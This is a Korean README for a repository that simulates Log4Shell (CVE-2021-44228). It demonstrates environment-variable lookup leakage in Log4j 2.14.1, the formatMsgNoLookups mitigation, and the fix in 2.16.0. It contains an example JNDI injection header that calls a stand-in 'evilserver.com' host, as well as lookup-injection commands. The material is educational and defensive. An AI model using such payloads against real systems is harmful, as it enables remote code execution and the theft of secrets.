
악명 높은 CVE-2021-44228 취약점의 간단한 시뮬레이션입니다.
이 저장소는 악명 높은 CVE-2021-44228 문제를 단순화하여 시뮬레이션한 것입니다.
시스템 속성 및 기타 사전 구조 조회 외에도 Apache Log4j는 다양한 이유로 JNDI 조회 기능을 구현합니다. JNDI는 LDAP, DNS, Java RMI 레지스트리 등 여러 서비스 제공자로부터 서비스를 획득할 수 있습니다. JNDI 자체는 단순하고 안전하지 않은 API로, 제3자가 제어하는 서비스 제공자에 대한 보호 기능이 없습니다. 공격자가 악성 URL을 통해 공개적으로 접근 가능한 서버를 제어하고 특정 포트에서 수신 중인 애플리케이션이 기록하는 내용을 알고 있다면, 로그 형식을 악용하여 JNDI 주입을 통해 애플리케이션이 임의의 Java 코드를 로드하고 실행하도록 만들 수 있습니다. 이는 일반 텍스트 또는 난독화된 형태로 일반적으로 기록되는 요청 헤더를 통해 전달될 수 있습니다.
user-agent: ${jndi:ldap://evilserver.com/payload}
Apache Log4j는 12월 13일 2.16.0 버전이 출시되기 전까지 원격 코드 실행 취약점에 영향을 받았으며, 저자는 신속한 대응에 존경을 표합니다.
관련 자료:
이 시뮬레이션은 LDAP 서버 대신 환경 변수를 사용하며, 로그 형식은 속성 대체(Property substitution)를 지원합니다. 원리는 동일합니다.
Java 11과 Maven이 필요하지만, Maven Wrapper도 저장소에 포함되어 있습니다.
GitHub 저장소는 리포지토리 시크릿 PASSWORD를 정의하며, 이는 워크플로우 파일 .github/workflow/ci.yml에서 환경 변수로 설정되어 액션에 시크릿을 제공합니다.
로컬에서 문제를 재현하려면 일반적으로 사용되는 JAVA_HOME 환경 변수를 사용할 수 있습니다.
워크플로우는 서로 다른 Apache Log4j 버전 2.14.1 및 2.16.0을 사용하여 두 개의 애플리케이션을 빌드하고 실행하며, GitHub Actions에서의 샘플 실행 결과는 다음과 같습니다: Java CI #7.
이 버전은 공격에 취약합니다. 다음 단계를 따라 재현하세요:
mvn clean install -f log4j-2.14.1
java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
환경 변수가 로그에 기록됩니다:
args[0] = C:\Program Files\Java\jdk-11.0.11
실제 실행이 자동으로 제거될 경우를 대비하여 GitHub Action의 스크린샷입니다:

참고로, 로그에 시크릿을 출력하려고 하면 GitHub가 자동으로 이를 수정(redact)하여 값이 마스킹되어 ***로 표시됩니다.
하지만 속성은 대체되었습니다.
임시적이고 부분적인 해결 방법으로 -Dlog4j2.formatMsgNoLookups=True JVM 매개변수를 추가하는 것이 권장되며, 따라서 애플리케이션의 모든 노드를 재시작해야 합니다.
mvn clean install -f log4j-2.14.1
java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
속성 대체가 발생하지 않습니다:
args[0] = ${env:JAVA_HOME:-}
다시, GitHub Actions의 스크린샷입니다:

이 문제는 Log4j 2.12.2 (Java 7) 및 Log4j 2.16.0 (Java 8)에서 Log4j 보안 팀에 의해 수정되었습니다.
mvn clean install -f log4j-2.16.0
java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'
속성 대체가 발생하지 않습니다:
args[0] = ${env:JAVA_HOME:-}
다시, GitHub Actions의 스크린샷입니다:
